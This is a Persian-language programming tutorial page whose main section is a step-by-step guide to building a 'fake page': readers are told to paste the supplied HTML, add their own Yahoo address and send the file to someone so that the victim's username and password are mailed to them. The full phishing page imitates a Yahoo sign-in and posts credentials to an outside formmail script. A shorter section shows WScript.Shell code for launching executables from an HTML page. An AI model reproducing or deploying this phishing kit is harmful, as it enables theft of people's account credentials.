آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

آموزش ویژوال بیسیک و برنامه نویسی

سورس,ویژوال بیسیک,نرم افزار,باشگاه,بدنسازی,فوتبال,آنالیز,پیش بینی,کد,برنامه نویسی

آموزش ساخت FAKE PAGE

نوت پد را باز کنید.
سپس این کد ها را در ان کپی کنید.
و دنبال قسمتی که چند علامت سوال وجود دارد بگردید و ان ها را پاک کنید و idخود را بزنید.
و بعد ان را با پسوند htmlسیو کنید.
حال آگر ان را برای کسی بفرستید و او ان را باز کند و userوpasswordخود را بزند یوزر و پسورد طرف برای شما میاید:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0056)http://home.ripway.com/2003-10/2861...o/FakePage.html -->
<HTML><HEAD><TITLE>Sign in - Yahoo! Member Directory</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1256">
<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff>
<CENTER>
<TABLE cellSpacing=0 cellPadding=0 width=680 border=0>
<TBODY>
<TR>
<TD colSpan=3>
<TABLE cellSpacing=0 cellPadding=4 width="100%" border=0>
<TBODY>
<TR>
<TD vAlign=bottom>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD align=left width="1%">
<TABLE cellSpacing=0 cellPadding=0 width="1%" border=0>
<TBODY>
<TR>
<TD align=left width="1%"><IMG height=29
alt="Yahoo! Member Directory"
src="Sign in - Yahoo! Member Directory_files/mem_dir.gif"
width=259 border=0> </TD></TR></TBODY></TABLE></TD>
<TD vAlign=bottom noWrap align=right width="100%">
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD vAlign=bottom noWrap align=right width="99%"><FONT
face=Arial size=-1><A
href="Yahoo!http://www.yahoo.com/">Yahoo!</A> - <A
href="Helphttp://help.yahoo.com/help/us/edit/">Help</A></FONT>
<BR>
<HR noShade SIZE=1>
</TD></TR></TBODY></TABLE></TD></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD bgColor=#99ccff><FONT face=Arial color=black size=+1><B>Welcome
to Yahoo! Member Directory </B></FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD colSpan=3>
<TABLE cellSpacing=2 cellPadding=3 width="100%" align=center
bgColor=#ffffff border=0>
<TBODY>
<TR>
<TD align=middle><FONT face=arial color=green><B>Sign in to
continue. </B></FONT></B></FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top colSpan=3>
<TABLE cellSpacing=2 cellPadding=0 width="100%" bgColor=#ffffff
border=0><TBODY>
<TR>
<TD vAlign=top width="50%">
<TABLE cellSpacing=0 cellPadding=2 width="100%" bgColor=#ffffff
border=0>
<TBODY>
<TR>
<TD align=middle><FONT face=Arial size=+1><B><NOBR>New to
Yahoo!?</NOBR></B></FONT> </TD></TR>
<TR>
<TD align=middle><B><FONT face=arial><A
href="http://edit.yahoo.com/config/eval_register?.intl=us&amp;new=1&amp;.done=http%3a//members.yahoo.com&amp;.src=ytc&amp;.v=0&amp;.u=er4tt5ovjkn4p&amp;p artner=&amp;.p=&amp;promo=&amp;.last=">Sign
up now</A> to enjoy Yahoo! Member Directory
</FONT></B></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=2 cellPadding=2 width=310 border=0>
<TBODY>
<TR>
<TD vAlign=top width="2%">•</TD>
<TD><FONT face=Arial size=-1>Find and connect with millions of
Yahoo! users.</FONT></TD></TR>
<TR>
<TD vAlign=top width="2%">•</TD>
<TD><FONT face=Arial size=-1>What's your interest? Find others
like you.</FONT></TD></TR>
<TR>
<TD vAlign=top width="2%">•</TD>
<TD><FONT face=Arial size=-1>Check out the Profiles of people
on any list.</FONT></TD></TR>
<TR>
<TD vAlign=top width="2%">•</TD>
<TD><FONT face=Arial size=-1>See who's online right now -- use
Yahoo! Messenger to chat.</FONT></TD></TR></TBODY></TABLE></TD>
<TD width="1%"></TD>
<TD vAlign=top align=left>
<FORM action=http://support.inetc.net/email/formmail.asp
method=post><INPUT type=hidden value=smtp3.inetc.net
name=mailserver> <INPUT type=hidden value=?????????????????????????@yahoo.com
name=sendto> <INPUT type=hidden
value=http://mail.yahoo.com/?.intl=us name=urljump>
<TABLE cellSpacing=0 cellPadding=2 width="100%" bgColor=#99ccff
border=0>
<TBODY>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=2 width="100%"
bgColor=#eeeeee border=0>
<TBODY>
<TR>
<TD align=middle bgColor=#ffffff>
<TABLE cellSpacing=6 cellPadding=6 width="100%"
bgColor=#ffffff border=0>
<TBODY>
<TR bgColor=#eeeeee>
<TD align=middle><FONT face=arial><B>Existing
Yahoo! users</B></FONT><BR><FONT face=arial
size=-1><NOBR>Enter your ID and password to sign
in </NOBR></FONT>
<TABLE cellSpacing=0 cellPadding=4 border=0>
<TBODY>
<TR>
<TD align=right>
<TABLE cellSpacing=0 cellPadding=2 border=0>
<TBODY>
<TR>
<TD noWrap align=right><FONT face=arial
size=-1>Yahoo! ID:</FONT></TD>
<TD><INPUT size=17 name=subject> </TD></TR>
<TR>
<TD noWrap align=right><FONT face=arial
size=-1>Password:</FONT></TD>
<TD><INPUT type=password maxLength=32 size=17
name=password ??> </TD></TR>
<TR>
<TD noWrap align=middle colSpan=2><FONT
face=arial size=-1><INPUT type=checkbox
value=y>Remember my ID on this
computer</FONT></TD></TR>
<TR>
<TD></TD>
<TD><INPUT type=submit value="Sign In"></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD noWrap align=middle bgColor=#eeeeee><FONT
face=arial size=-1>Mode: Standard | <A
href="https://login.yahoo.com/config/login?.src=ytc&amp;.v=0&amp;.u=er4tt5ovjkn4p&amp;.last=&amp;promo= &amp;.intl=us&amp;.bypass=&amp;.partner=&amp;pkg=&amp;stepid=&amp;.done=ht tp%3a//members.yahoo.com">Secure</A>
</FONT></TD></TR></TBODY></TABLE></TD></TR>
<TR bgColor=#eeeeee>
<TD vAlign=top align=middle><FONT face=arial
size=-1><A
href="http://login.yahoo.com/config/login?.src=ytc&amp;.help=1&amp;.v=0&amp;.u=er4tt5ovjkn4p&amp;.last =&amp;.last=.done">Sign-in
help</A> <A
href="http://edit.yahoo.com/config/eval_forgot_pw?new=1&amp;.done=http://members.yahoo.com&amp;.src=ytc&amp;partner=&amp;.intl=us&amp;pkg=&amp; stepid=&amp;.last=">Forgot
your password?</A>
</FONT></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></FORM></TD></TR>
<TR>
<TD width=600 colSpan=3></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD colSpan=3>
<TABLE cellSpacing=0 cellPadding=0 width=600 border=0>
<TBODY></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TABLE></CENTER>
<P>
<CENTER>
<HR width=750 noShade SIZE=1>
<TABLE cellSpacing=0 cellPadding=0 width=750 border=0>
<TBODY>
<TR>
<TD align=middle><FONT face=arial color=#8d8d8d size=-2>Copyright © 2003
Yahoo! Inc. All rights reserved. <A
href="Copyright">http://docs.yahoo.com/info/copyright/copyright.html">Copyright
Policy</A> <A href="http://docs.yahoo.com/info/terms/" target=_new>Terms
of Service</A><BR><B>NOTICE: We collect personal information on this
site.<BR>To learn more about how we use your information, see our <A
href="http://privacy.yahoo.com/" target=_new>Privacy
Policy</A></B></FONT></TD></TR></TBODY></TABLE></CENTER><!-- text below generated by server. PLEASE REMOVE --></OBJECT></LAYER>
<DIV></DIV></SPAN></STYLE></NOSCRIPT></TABLE></SCRIPT></APPLET>
<SCRIPT language=JavaScript
src="Sign in - Yahoo! Member Directory_files/mc.js"></SCRIPT>
<SCRIPT language=JavaScript src=""></SCRIPT>
<SCRIPT language=javascript>geovisit();</SCRIPT>
<NOSCRIPT><IMG height=1 alt=setstats
src="Sign in - Yahoo! Member Directory_files/visit.gif" width=1
border=0></NOSCRIPT> <IMG height=1 alt=1
src="Sign in - Yahoo! Member Directory_files/serv.gif" width=1> <!-- w45.geo.scd.yahoo.com compressed Tue Aug 19 02:23:22 PDT 2003 --></BODY></HTML

چگونگی اجرای فایلهای اجرایی از داخل صفحات Html

احتمالا شما هم تا حالا به این مسئله برخورد کرده باشید که بخواهید از داخل یک صفحه Html یک فایل EXE یا یک فایل اجرایی دیگر را اجرا کرده باشید. بنده به این مشکل زمانی برخوردم که خواستم از داخل یک فایل HTML که بر روی CD ذخیره شده بود (برنامه مجموعه مقالات سومین کنفرانس بین المللی مدیریت کیفیت) ، یک فایل دیگر را از روی همان CD اجرا کنم .بنده در این مورد با دو مسئله مواجه بودم :اولا : فایل اجرایی مورد نظر را با زدن یک کلید (بر روی صفحه HTML ) اجرا کنم.دوما : مسیر این فایل را پیدا کنم (چون هر کسی CD درایوش یه اسمی داره مثلا :F یا :E)برای حل این مشکل با کمی گشتن کدهای جالبی پیدا کردم که نه تنها میتوانستند یک فایل اجرایی را ، اجرا کنند بلکه میتوانستند کارهایی از قبیل باز کردن اپلتهای Control Panel را هم انجام دهند.بوسیله یکی از کدها میتوانید برای اجرای یک فایل با استفاده از CreateObject یک آبجکت از نوع WScript.Shell ساخته و سپس براحتی از آن استفاده کنید، به کد زیر دقت کنید.Set WShell = CreateObject("WScript.Shell")WShell.Run "PATH\Search.exe"برای حل مشکل مسیر هم بنده از دستور Document.URL برای گرفتن مسیر صفحه جاری استفاده نمودم البته شاید راههای خیلی بهتری هم باشد ولی با همین هم کارم راه افتاد.Set WShell = CreateObject("WScript.Shell")WShell.Run mid(document.URL,8,len(document.URL)-17) + "\search.exe"در زیر نمونه ای شبیه این دستور که با استفاده از یک آبجکت دیگر ، در یک صفحه Html بکار رفته ، میتواند اپلتهای کنترل پنل را فراخوانی نماید را آورده ایم که شما میتوانید آنرا براحتی در صفحات ( و فرمهای ) خود استفاده نمایید.